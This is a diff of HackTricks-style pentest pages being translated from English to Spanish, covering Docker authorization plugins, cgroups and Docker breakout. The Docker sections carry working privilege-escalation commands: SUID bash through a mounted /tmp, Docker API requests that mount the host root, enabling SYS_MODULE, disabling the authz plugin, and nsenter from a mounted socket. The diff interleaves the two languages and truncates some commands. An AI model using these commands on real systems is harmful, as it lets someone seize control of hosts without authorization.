**Dockers** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Dockers Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. El modelo de **autorización** de **Docker** es **todo o nada**. Cualquier usuario con permiso para acceder al daemon de Docker puede **ejecutar cualquier** comando del cliente de Docker. Lo mismo es cierto para los llamadores que utilizan la API del Engine de Docker para contactar al daemon. Si necesitas **un mayor control de acceso**, puedes crear **plugins de autorización** y agregarlos a la configuración de tu daemon de Docker. Usando un plugin de autorización, un administrador de Docker puede **configurar políticas de acceso granulares** para gestionar el acceso al daemon de Docker.
# Basic architecture # Arquitectura básica
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. Los plugins de autenticación de Docker son **plugins externos** que puedes usar para **permitir/negar** **acciones** solicitadas al daemon de Docker **dependiendo** del **usuario** que lo solicitó y de la **acción** **solicitada**.
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** **[La siguiente información es de la documentación](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. Cuando se realiza una **solicitud HTTP** al **daemon** de Docker a través de la CLI o mediante la API del Engine, el **subsystema de autenticación** **pasa** la solicitud a los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **negar** la solicitud.
The sequence diagrams below depict an allow and deny authorization flow: Los diagramas de secuencia a continuación representan un flujo de autorización de permitir y negar:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) ![Flujo de autorización permitir](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) ![Flujo de autorización negar](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. Cada solicitud enviada al plugin **incluye el usuario autenticado, los encabezados HTTP y el cuerpo de la solicitud/respuesta**. Solo se pasan al plugin el **nombre de usuario** y el **método de autenticación** utilizado. Lo más importante, **no** se pasan **credenciales** o tokens de usuario. Finalmente, **no todos los cuerpos de solicitud/respuesta se envían** al plugin de autorización. Solo se envían aquellos cuerpos de solicitud/respuesta donde el `Content-Type` es `text/*` o `application/json`.
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. Para comandos que pueden potencialmente secuestrar la conexión HTTP (`HTTP Upgrade`), como `exec`, el plugin de autorización solo se llama para las solicitudes HTTP iniciales. Una vez que el plugin aprueba el comando, la autorización no se aplica al resto del flujo. Específicamente, los datos de transmisión no se pasan a los plugins de autorización. Para comandos que devuelven respuestas HTTP en fragmentos, como `logs` y `events`, solo se envía la solicitud HTTP a los plugins de autorización.
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. Durante el procesamiento de solicitudes/respuestas, algunos flujos de autorización pueden necesitar realizar consultas adicionales al daemon de Docker. Para completar tales flujos, los plugins pueden llamar a la API del daemon de manera similar a un usuario regular. Para habilitar estas consultas adicionales, el plugin debe proporcionar los medios para que un administrador configure políticas adecuadas de autenticación y seguridad.
## Several Plugins ## Varios Plugins
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. Eres responsable de **registrar** tu **plugin** como parte del **inicio** del daemon de Docker. Puedes instalar **múltiples plugins y encadenarlos**. Esta cadena puede ser ordenada. Cada solicitud al daemon pasa en orden a través de la cadena. Solo cuando **todos los plugins otorgan acceso** al recurso, se concede el acceso.
# Plugin Examples # Ejemplos de Plugins
## Twistlock AuthZ Broker ## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. El plugin [**authz**](https://github.com/twistlock/authz) te permite crear un archivo **JSON** simple que el **plugin** estará **leyendo** para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy fácilmente qué puntos finales de API pueden alcanzar a cada usuario.
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` Este es un ejemplo que permitirá a Alice y Bob crear nuevos contenedores: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action En la página [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) puedes encontrar la relación entre la URL solicitada y la acción. En la página [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) puedes encontrar la relación entre el nombre de la acción y la acción.
## Simple Plugin Tutorial ## Tutorial de Plugin Simple
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) Puedes encontrar un **plugin fácil de entender** con información detallada sobre instalación y depuración aquí: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working. Lee el `README` y el código de `plugin.go` para entender cómo funciona.
# Docker Auth Plugin Bypass # Bypass del Plugin de Autenticación de Docker
## Enumerate access ## Enumerar acceso
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. Las principales cosas a verificar son **qué puntos finales están permitidos** y **qué valores de HostConfig están permitidos**.
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** Para realizar esta enumeración puedes **usar la herramienta** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
## disallowed `run --privileged` ## `run --privileged` no permitido
### Minimum Privileges
### Privilegios Mínimos
```bash ```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
``` ```
### Ejecutando un contenedor y luego obteniendo una sesión privilegiada
### Running a container and then getting a privileged session En este caso, el sysadmin **no permitió a los usuarios montar volúmenes y ejecutar contenedores con la bandera `--privileged`** o dar cualquier capacidad extra al contenedor:
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
```bash ```bash
docker run -d --privileged modified-ubuntu docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'. See 'docker run --help'.
``` ```
Sin embargo, un usuario puede **crear un shell dentro del contenedor en ejecución y otorgarle los privilegios adicionales**:
However, a user can **create a shell inside the running container and give it the extra privileges**:
```bash ```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN # With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
``` ```
Ahora, el usuario puede escapar del contenedor utilizando cualquiera de las [**técnicas discutidas anteriormente**](./#privileged-flag) y **escalar privilegios** dentro del host.
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. ## Montar Carpeta Escribible
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
En este caso, el sysadmin **no permitió a los usuarios ejecutar contenedores con la bandera `--privileged`** ni otorgar ninguna capacidad extra al contenedor, y solo permitió montar la carpeta `/tmp`:
```bash ```bash
host> cp /bin/bash /tmp #Cerate a copy of bash host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash docker container> chmod u+s /host/bash
host> /tmp/bash host> /tmp/bash
-p #This will give you a shell as root -p #This will give you a shell as root
``` ```
> [!NOTE] > [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` > Tenga en cuenta que tal vez no pueda montar la carpeta `/tmp`, pero puede montar una **carpeta diferente y escribible**. Puede encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
> >
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. > **¡Tenga en cuenta que no todos los directorios en una máquina linux admitirán el bit suid!** Para verificar qué directorios admiten el bit suid, ejecute `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no admiten el bit suid.
> >
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) > También tenga en cuenta que si puede **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puede cambiarlos desde el contenedor de docker como root para **abusar de ellos en el host** y escalar privilegios (tal vez modificando `/etc/shadow`)
## Unchecked API Endpoint ## Endpoint de API no verificado
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** La responsabilidad del sysadmin que configura este plugin sería controlar qué acciones y con qué privilegios cada usuario puede realizar. Por lo tanto, si el administrador adopta un enfoque de **lista negra** con los endpoints y los atributos, podría **olvidar algunos de ellos** que podrían permitir a un atacante **escalar privilegios.**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) Puede consultar la API de docker en [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure ## Estructura JSON no verificada
### Binds in root ### Montajes en root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
Es posible que cuando el sysadmin configuró el firewall de docker, **olvidara algún parámetro importante** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\
En el siguiente ejemplo, es posible abusar de esta mala configuración para crear y ejecutar un contenedor que monte la carpeta raíz (/) del host:
```bash ```bash
docker version #First, find the API version of docker, 1.40 in this example docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem #You can access the host filesystem
``` ```
> [!WARNING] > [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** > Nota cómo en este ejemplo estamos usando el **`Binds`** como una clave de nivel raíz en el JSON, pero en la API aparece bajo la clave **`HostConfig`**
### Binds in HostConfig ### Binds en HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Sigue la misma instrucción que con **Binds en raíz** realizando esta **request** a la API de Docker:
```bash ```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
``` ```
### Montajes en root
### Mounts in root Siga las mismas instrucciones que con **Vínculos en root** realizando esta **solicitud** a la API de Docker:
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
```bash ```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
``` ```
### Montajes en HostConfig
### Mounts in HostConfig Siga las mismas instrucciones que con **Vínculos en root** realizando esta **solicitud** a la API de Docker:
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
```bash ```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
``` ```
## Atributo JSON No Verificado
## Unchecked JSON Attribute Es posible que cuando el sysadmin configuró el firewall de docker **se olvidó de algún atributo importante de un parámetro** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Capabilities**" dentro de "**HostConfig**". En el siguiente ejemplo es posible abusar de esta mala configuración para crear y ejecutar un contenedor con la capacidad **SYS_MODULE**:
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
```bash ```bash
docker version docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print capsh --print
#You can abuse the SYS_MODULE capability #You can abuse the SYS_MODULE capability
``` ```
> [!NOTE] > [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. > El **`HostConfig`** es la clave que generalmente contiene los **privilegios** **interesantes** para escapar del contenedor. Sin embargo, como hemos discutido anteriormente, ten en cuenta que usar Binds fuera de él también funciona y puede permitirte eludir restricciones.
## Disabling Plugin ## Deshabilitando el Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
Si el **sysadmin** **olvidó** **prohibir** la capacidad de **deshabilitar** el **plugin**, ¡puedes aprovechar esto para deshabilitarlo completamente!
```bash ```bash
docker plugin list #Enumerate plugins docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot docker plugin enable authobot
``` ```
Recuerda **volver a habilitar el plugin después de escalar**, o un **reinicio del servicio de docker no funcionará**!
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**! ## Informes de Bypass del Plugin de Autenticación
## Auth Plugin Bypass writeups
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. **Linux Control Groups**, o **cgroups**, son una característica del núcleo de Linux que permite la asignación, limitación y priorización de recursos del sistema como CPU, memoria y disco I/O entre grupos de procesos. Ofrecen un mecanismo para **gestionar y aislar el uso de recursos** de colecciones de procesos, beneficioso para propósitos como la limitación de recursos, el aislamiento de cargas de trabajo y la priorización de recursos entre diferentes grupos de procesos.
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: Hay **dos versiones de cgroups**: versión 1 y versión 2. Ambas pueden ser utilizadas de manera concurrente en un sistema. La principal distinción es que **cgroups versión 2** introduce una **estructura jerárquica, en forma de árbol**, que permite una distribución de recursos más matizada y detallada entre grupos de procesos. Además, la versión 2 trae varias mejoras, incluyendo:
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. Además de la nueva organización jerárquica, cgroups versión 2 también introdujo **cambios y mejoras adicionales**, como soporte para **nuevos controladores de recursos**, mejor soporte para aplicaciones heredadas y un rendimiento mejorado.
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. En general, cgroups **versión 2 ofrece más características y mejor rendimiento** que la versión 1, pero esta última aún puede ser utilizada en ciertos escenarios donde la compatibilidad con sistemas más antiguos es una preocupación.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shells cgroups with this command:
Puedes listar los cgroups v1 y v2 para cualquier proceso mirando su archivo de cgroup en /proc/\<pid>. Puedes comenzar mirando los cgroups de tu shell con este comando:
```shell-session ```shell-session
$ cat /proc/self/cgroup $ cat /proc/self/cgroup
12:rdma:/ 12:rdma:/
@ -28,63 +27,56 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope 1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope
``` ```
La estructura de salida es la siguiente:
The output structure is as follows: - **Números 212**: cgroups v1, con cada línea representando un cgroup diferente. Los controladores para estos se especifican adyacentes al número.
- **Número 1**: También cgroups v1, pero únicamente para fines de gestión (establecido por, por ejemplo, systemd), y carece de un controlador.
- **Número 0**: Representa cgroups v2. No se enumeran controladores, y esta línea es exclusiva en sistemas que solo ejecutan cgroups v2.
- Los **nombres son jerárquicos**, asemejándose a rutas de archivos, indicando la estructura y relación entre diferentes cgroups.
- **Nombres como /user.slice o /system.slice** especifican la categorización de cgroups, siendo user.slice típicamente para sesiones de inicio gestionadas por systemd y system.slice para servicios del sistema.
- **Numbers 212**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. ### Visualizando cgroups
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Viewing cgroups El sistema de archivos se utiliza típicamente para acceder a **cgroups**, desviándose de la interfaz de llamada del sistema Unix tradicionalmente utilizada para interacciones con el kernel. Para investigar la configuración del cgroup de un shell, se debe examinar el archivo **/proc/self/cgroup**, que revela el cgroup del shell. Luego, al navegar al directorio **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) y localizar un directorio que comparta el nombre del cgroup, se pueden observar varios ajustes e información sobre el uso de recursos pertinente al cgroup.
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
![Cgroup Filesystem](<../../../images/image (1128).png>) ![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. Los archivos de interfaz clave para cgroups están prefijados con **cgroup**. El archivo **cgroup.procs**, que se puede ver con comandos estándar como cat, lista los procesos dentro del cgroup. Otro archivo, **cgroup.threads**, incluye información sobre los hilos.
![Cgroup Procs](<../../../images/image (281).png>) ![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. Los cgroups que gestionan shells típicamente abarcan dos controladores que regulan el uso de memoria y el conteo de procesos. Para interactuar con un controlador, se deben consultar los archivos que llevan el prefijo del controlador. Por ejemplo, **pids.current** se referiría para determinar el conteo de hilos en el cgroup.
![Cgroup Memory](<../../../images/image (677).png>) ![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. La indicación de **max** en un valor sugiere la ausencia de un límite específico para el cgroup. Sin embargo, debido a la naturaleza jerárquica de los cgroups, los límites pueden ser impuestos por un cgroup en un nivel inferior en la jerarquía de directorios.
### Manipulating and Creating cgroups ### Manipulando y Creando cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
Los procesos se asignan a cgroups mediante **escribir su ID de Proceso (PID) en el archivo `cgroup.procs`**. Esto requiere privilegios de root. Por ejemplo, para agregar un proceso:
```bash ```bash
echo [pid] > cgroup.procs echo [pid] > cgroup.procs
``` ```
De manera similar, **modificar los atributos de cgroup, como establecer un límite de PID**, se realiza escribiendo el valor deseado en el archivo correspondiente. Para establecer un máximo de 3,000 PIDs para un cgroup:
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
```bash ```bash
echo 3000 > pids.max echo 3000 > pids.max
``` ```
**Crear nuevos cgroups** implica hacer un nuevo subdirectorio dentro de la jerarquía de cgroup, lo que provoca que el kernel genere automáticamente los archivos de interfaz necesarios. Aunque los cgroups sin procesos activos pueden ser eliminados con `rmdir`, ten en cuenta ciertas restricciones:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - **Los procesos solo pueden ser colocados en cgroups hoja** (es decir, los más anidados en una jerarquía).
- **Un cgroup no puede poseer un controlador ausente en su padre**.
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). - **Los controladores para cgroups hijos deben ser declarados explícitamente** en el archivo `cgroup.subtree_control`. Por ejemplo, para habilitar los controladores de CPU y PID en un cgroup hijo:
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
```bash ```bash
echo "+cpu +pids" > cgroup.subtree_control echo "+cpu +pids" > cgroup.subtree_control
``` ```
El **root cgroup** es una excepción a estas reglas, permitiendo la colocación directa de procesos. Esto se puede utilizar para eliminar procesos de la gestión de systemd.
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. **Monitorear el uso de CPU** dentro de un cgroup es posible a través del archivo `cpu.stat`, que muestra el tiempo total de CPU consumido, útil para rastrear el uso a través de los subprocesos de un servicio:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: <figure><img src="../../../images/image (908).png" alt=""><figcaption><p>Estadísticas de uso de CPU como se muestra en el archivo cpu.stat</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure> ## Referencias
## References - **Libro: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure> ## Enumeración Automática y Escape
\ - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): También puede **enumerar contenedores**
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ - [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es bastante **útil para enumerar el contenedor en el que estás e incluso intentar escapar automáticamente**
Get Access Today: - [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor con el fin de encontrar formas de escapar de él
- [**deepce**](https://github.com/stealthcopter/deepce): Herramienta para enumerar y escapar de contenedores
- [**grype**](https://github.com/anchore/grype): Obtener los CVEs contenidos en el software instalado en la imagen
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## Escape del Socket de Docker Montado
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
Si de alguna manera encuentras que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\
Esto suele ocurrir en contenedores de docker que por alguna razón necesitan conectarse al demonio de docker para realizar acciones.
```bash ```bash
#Search the socket #Search the socket
find / -name docker.sock 2>/dev/null find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock #It's usually in /run/docker.sock
``` ```
En este caso, puedes usar comandos de docker regulares para comunicarte con el daemon de docker:
In this case you can use regular docker commands to communicate with the docker daemon:
```bash ```bash
#List images to use one #List images to use one
docker images docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged # Get full privs in container without --privileged
